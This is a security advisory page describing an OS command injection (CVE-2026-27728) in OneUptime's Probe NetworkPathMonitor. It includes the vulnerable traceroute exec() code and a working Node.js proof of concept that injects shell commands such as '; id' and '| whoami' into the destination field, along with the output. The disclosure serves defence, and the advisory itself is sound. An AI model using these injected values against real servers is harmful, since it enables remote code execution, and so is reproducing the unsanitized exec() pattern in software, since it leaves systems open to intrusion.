Critical

OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()

  • Disclosed: 25.02.2026
  • Updated: 11.10.2026 10:22

Summary

An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.

Details

The vulnerability exists in Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts, lines 149–191.

The performTraceroute() method constructs a shell command by directly interpolating the user-controlled destination parameter into a string template, then executes it via child_process.exec() (wrapped through promisify):

ts
// Line 13 — exec imported from child_process
import { exec } from "child_process";

// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);

// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
    destination: string,  // ← attacker-controlled
    maxHops: number,
    timeout: number,
): Promise<TraceRoute> {
    // ...
    let command: string;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${...} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    const tracePromise = execAsync(command);  // ← shell execution

The destination value originates from the public trace() method (line 31), which accepts URL | Hostname | IPv4 | IPv6 | string types. When a raw string is passed (line 47: hostAddress = destination), no validation or sanitization is performed before it reaches performTraceroute().

child_process.exec() spawns a shell (/bin/sh), so any shell metacharacters (;, |, $(), ` `, &&, ||, \n) in destination will be interpreted, allowing full command injection.

PoC

  1. poc.cjs
js
/**
 * PoC: OS Command Injection in OneUptime NetworkPathMonitor
 *
 * Replicates the exact vulnerable code path from
 * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
 */

const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);

async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
    const isMac = process.platform === "darwin";
    const isWindows = process.platform === "win32";

    let command;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    console.log(`[VULN] Constructed command: ${command}`);

    try {
        const { stdout, stderr } = await execAsync(command);
        return { stdout, stderr };
    } catch (err) {
        return { stdout: err.stdout || "", stderr: err.stderr || err.message };
    }
}

async function runPoC() {
    console.log("=== Payload 1: Semicolon chaining (;) ===");
    console.log("  destination = '127.0.0.1; id'\n");
    const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000);
    console.log("[stdout]:", r1.stdout);

    console.log("\n=== Payload 2: Pipe injection (|) ===");
    console.log("  destination = '127.0.0.1 | whoami'\n");
    const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000);
    console.log("[stdout]:", r2.stdout);

    console.log("\n=== Payload 3: Subshell execution $() ===");
    console.log("  destination = '127.0.0.1$(echo INJECTED)'\n");
    const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000);
    console.log("[stderr]:", r3.stderr);
}

runPoC().catch(console.error);
  1. Run the PoC:
bash
node poc.cjs
  1. Expected output (confirmed on macOS with Node.js v25.2.1):
=== Payload 1: Semicolon chaining (;) ===
  destination = '127.0.0.1; id'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id
[stdout]:  1  localhost (127.0.0.1)  0.215 ms  0.076 ms  0.055 ms
uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...

=== Payload 2: Pipe injection (|) ===
  destination = '127.0.0.1 | whoami'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami
[stdout]: dxleryt

=== Payload 3: Subshell execution $() ===
  destination = '127.0.0.1$(echo INJECTED)'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED)
[stderr]: traceroute: unknown host 127.0.0.1INJECTED

The id and whoami commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — $(echo INJECTED) is evaluated and appended to the hostname.

Impact

Vulnerability type: OS Command Injection (CWE-78)

Who is impacted: Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:

  • Execute arbitrary commands as the Probe service user (Remote Code Execution)
  • Read sensitive files from the Probe server (e.g., environment variables, credentials, service account tokens)
  • Pivot to internal services accessible from the Probe's network position
  • Compromise other tenants' monitoring data if Probes are shared across tenants
  • Establish persistent backdoors (reverse shells, cron jobs, SSH keys)

Note: The NetworkPathMonitor class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @oneuptime/common < 10.0.7 10.0.7

References

CVSS score 9.9/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
npm
Package
@oneuptime/common
Disclosed
25.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-jmhp-5558-qxh5 - CC BY 4.0

Vulnerability history: @oneuptime/common

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (11) in the archive
Total entries
11
First → latest
11.2025 03.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 3
  • Medium 2

Disclosures per year

  1. 2025: 2
  2. 2026: 9
Severity:
  1. Critical · 9.9 CVE-2026-30957 < 10.0.21 10.0.21
  2. Critical · 9.9 CVE-2026-30921 < 10.0.20 10.0.20
  3. OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec() this entry
    Critical · 9.9 CVE-2026-27728 < 10.0.7 10.0.7
  4. High CVE-2025-65966 < 9.1.0 9.1.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.